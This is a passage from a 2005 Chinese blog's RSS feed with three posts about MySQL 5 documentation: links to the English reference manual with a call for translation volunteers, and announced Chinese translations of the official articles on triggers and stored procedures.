style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MySQL参考手册下载！（寻战友一同翻译！）</title><link>http://www.blogjava.net/chenpengyi/articles/7568.html</link><dc:creator>陈朋奕</dc:creator><author>陈朋奕</author><pubDate>Tue, 12 Jul 2005 16:36:00 GMT</pubDate><guid>http://www.blogjava.net/chenpengyi/articles/7568.html</guid><wfw:comment>http://www.blogjava.net/chenpengyi/comments/7568.html</wfw:comment><comments>http://www.blogjava.net/chenpengyi/articles/7568.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/chenpengyi/comments/commentRss/7568.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chenpengyi/services/trackbacks/7568.html</trackback:ping><description><![CDATA[<P>这里提供的是英文版：<BR><A href="http://zj.onlinedown.net:82/down/mysql5.chm">http://zj.onlinedown.net:82/down/mysql5.chm</A><A href="http://sxbctv.onlinedown.net/down/mysql5.chm"></A><BR><A href="http://crcfj.onlinedown.com:82/down/mysql5.chm">http://crcfj.onlinedown.com:82/down/mysql5.chm</A><BR><A href="http://gzcnc.onlinedown.net:82/down/mysql5.chm">http://gzcnc.onlinedown.net:82/down/mysql5.chm</A><BR><A href="http://sccrc.onlinedown.net:82/files2/mysql5.chm">http://sccrc.onlinedown.net:82/files2/mysql5.chm</A><BR><BR>好像连接挂了，可能是为了防止盗链吧<BR>大家可以去华军自己找。<BR>想翻译这个……不过一个人工程太大了，需要战友。。。<BR>想要为开源和数据库事业做出贡献的人请留言！</P><img src ="http://www.blogjava.net/chenpengyi/aggbug/7568.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chenpengyi/" target="_blank">陈朋奕</a> 2005-07-13 00:36 <a href="http://www.blogjava.net/chenpengyi/articles/7568.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>官方MySQL 5 新特性 触发器（Triggers） 翻译 下载！ </title><link>http://www.blogjava.net/chenpengyi/articles/7474.html</link><dc:creator>陈朋奕</dc:creator><author>陈朋奕</author><pubDate>Sun, 10 Jul 2005 15:04:00 GMT</pubDate><guid>http://www.blogjava.net/chenpengyi/articles/7474.html</guid><wfw:comment>http://www.blogjava.net/chenpengyi/comments/7474.html</wfw:comment><comments>http://www.blogjava.net/chenpengyi/articles/7474.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/chenpengyi/comments/commentRss/7474.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chenpengyi/services/trackbacks/7474.html</trackback:ping><description><![CDATA[<FONT color=#000080>
<P><FONT color=#000080>今天终于翻译完咯，哈哈，下面是链接，希望能给有需要的人帮助！<BR><A href="http://www.blogjava.net/Files/chenpengyi/MySQL-Triggers-Translation-CN.rar">http://www.blogjava.net/Files/chenpengyi/MySQL-Triggers-Translation-CN.rar</A><BR><BR>如果需要原版的话，可以到下面地址下载：<BR><A href="http://dev.mysql.com/tech-resources/articles/mysql-triggers.pdf">http://dev.mysql.com/tech-resources/articles/mysql-triggers.pdf</A></FONT></P></FONT><img src ="http://www.blogjava.net/chenpengyi/aggbug/7474.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chenpengyi/" target="_blank">陈朋奕</a> 2005-07-10 23:04 <a href="http://www.blogjava.net/chenpengyi/articles/7474.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MySQL 5 新特性 存储过程（stored procedure） 翻译 下载！</title><link>http://www.blogjava.net/chenpengyi/articles/7462.html</link><dc:creator>陈朋奕</dc:creator><author>陈朋奕</author><pubDate>Sun, 10 Jul 2005 13:52:00 GMT</pubDate><guid>http://www.blogjava.net/chenpengyi/articles/7462.html</guid><wfw:comment>http://www.blogjava.net/chenpengyi/comments/7462.html</wfw:comment><comments>http://www.blogjava.net/chenpengyi/articles/7462.html#Feedback</comments><slash:comments>8</slash:comments><wfw:commentRss>http://www.blogjava.net/chenpengyi/comments/commentRss/7462.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/chenpengyi/services/trackbacks/7462.html</trackback:ping><description><![CDATA[以下是本人翻译的MySQL官方的存储过程教程的中文版，下面是链接，如果大家有什么想法请来信和我讨论（<A href="mailto:chenpengyi_007@163.com">chenpengyi_007@163.com</A>），或者留言。下载链接如下：<BR><A href="http://hudu.net/wind/mysql5Procedure.rar"><FONT color=#3f3d3d>http://hudu.net/wind/mysql5Procedure.rar</FONT></A>(感谢Wind提供空间)<BR>或者在<A href="http://www.blogjava.net/Files/chenpengyi/MySQL-StoredProcedure-Translation-Cn.rar">http://www.blogjava.net/Files/chenpengyi/MySQL-StoredProcedure-Translation-Cn.rar</A><BR>下载<BR>若需要原版可以去MySQL官方网站下载<BR>这里提供链接<A href="http://dev.mysql.com/tech-resources/articles/mysql-storedprocedures.pdf">http://dev.mysql.com/tech-resources/articles/mysql-storedprocedures.pdf</A><img src ="http://www.blogjava.net/chenpengyi/aggbug/7462.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/chenpengyi/" target="_blank">陈朋奕</a> 2005-07-10 21:52 <a href="http://www.blogjava.net/chenpengyi/articles/7462.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>